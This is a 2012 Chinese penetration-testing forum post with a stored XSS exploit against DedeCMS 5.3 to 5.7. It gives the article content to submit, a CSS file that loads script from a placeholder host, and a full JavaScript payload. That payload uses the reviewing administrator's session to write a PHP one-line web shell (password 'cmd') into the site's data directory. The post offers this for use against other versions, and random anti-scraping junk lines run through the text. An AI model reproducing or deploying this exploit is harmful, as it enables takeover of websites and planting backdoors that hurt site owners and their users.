中国网络渗透测试联盟
标题:
dedecms xss oday通杀所有版本 可getshell
[打印本页]
作者:
admin
时间:
2012-9-15 13:56
标题:
dedecms xss oday通杀所有版本 可getshell
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
6 K/ t" k/ t/ H. z/ n, w1 M) ^
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
& |+ L8 x$ U; p- u
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
. X/ Z T$ S4 K: S& k2 E/ M
下面说说利用方法。
, V) |2 x6 f% e- e7 V
条件有2个:
$ v8 J' e; W+ x8 h# _: u& V
1.开启注册
% J- |7 i3 D. |+ K4 k1 x8 r: }7 ~
2.开启投稿
0 }# M/ d) ?" s8 x/ ^# J$ [" f
注册会员----发表文章
; G6 s" L+ Q6 w* N4 ]8 I
内容填写:
4 G; W/ x' d6 t6 Z# N" j- g' _
复制代码
+ |2 n' f6 a( g$ h( Y9 P& K; K
<style>@im\port'\
http://xxx.com/xss.css';
</style>
" q0 s4 \; n& o
新建XSS.Css
. ^2 l; D% m ~6 z
复制代码
! E) c7 A' n7 b, H( P5 e+ P7 {, ~$ B6 e
.body{
( K! m V1 P2 s/ O- H1 T
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
1 e) E0 j j# u) |
新建xss.js 内容为
r' G1 x; E: ?3 i
复制代码
+ c' R; i4 T- C# O. g- w
1.var request = false;
+ c0 S! S# c, d- \' c/ h2 ^
2.if(window.XMLHttpRequest) {
0 t# L) [; o! F5 N7 p
3.request = new XMLHttpRequest();
# T& C' X% p" P; i& `
4.if(request.overrideMimeType) {
" W: N* |4 O0 I H( Z
5.request.overrideMimeType('text/xml');
' j; P4 P% o, Y% E* k
6.}
. g w. b$ C: s" T2 J1 z2 e
7.} else if(window.ActiveXObject) {
0 w& T+ V L9 W3 x
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 h7 F( d$ W/ @! N: h# u$ g/ p8 @
9.for(var i=0; i<versions.length; i++) {
7 g& B2 {: ^9 D( s
10.try {
+ o3 Z5 J( `( X9 ~* m$ V$ q- X
11.request = new ActiveXObject(versions);
/ b* n% k6 t5 M5 V6 B
12.} catch(e) {}
0 E0 Q' v& T, i3 e. F. z, J( C1 s
13.}
5 l5 p* A: z; Q, K( ^
14.}
* E9 U! }4 C. p. v2 @
15.xmlhttp=request;
, A& k! n' @2 f* _5 n
16.function getFolder( url ){
r9 Y& x( z% X& w
17. obj = url.split('/')
9 F2 s* Z: w4 [: ^/ B
18. return obj[obj.length-2]
2 g6 |7 Q; e# X( j L* v) d
19.}
$ _. ?. I3 Y! V! U8 B
20.oUrl = top.location.href;
6 k/ V. w' {( S: @2 o* x; o, W
21.u = getFolder(oUrl);
, Z0 r7 B, r7 A7 T9 X
22.add_admin();
, J( f% a6 e; k* H3 i* D" z
23.function add_admin(){
5 l" h# L# F, a8 I) p
24.var url= "/"+u+"/sys_sql_query.php";
' w1 v! e; B' Z& \# {! _' o
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
6 S$ _3 j) I9 Q0 j, h9 n
26.xmlhttp.open("POST", url, true);
1 k( a& T/ p G2 F7 B7 {! U! n
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
8 @( L& B9 [+ @
28.xmlhttp.setRequestHeader("Content-length", params.length);
" a* u8 h* _7 I
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
% S* j0 v8 J$ A& E7 K Y, a7 P7 \
30.xmlhttp.send(params);
r* A# T% x+ m# y7 y# h
31.}
$ Q- i5 c" W+ |; E6 e" w" o
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2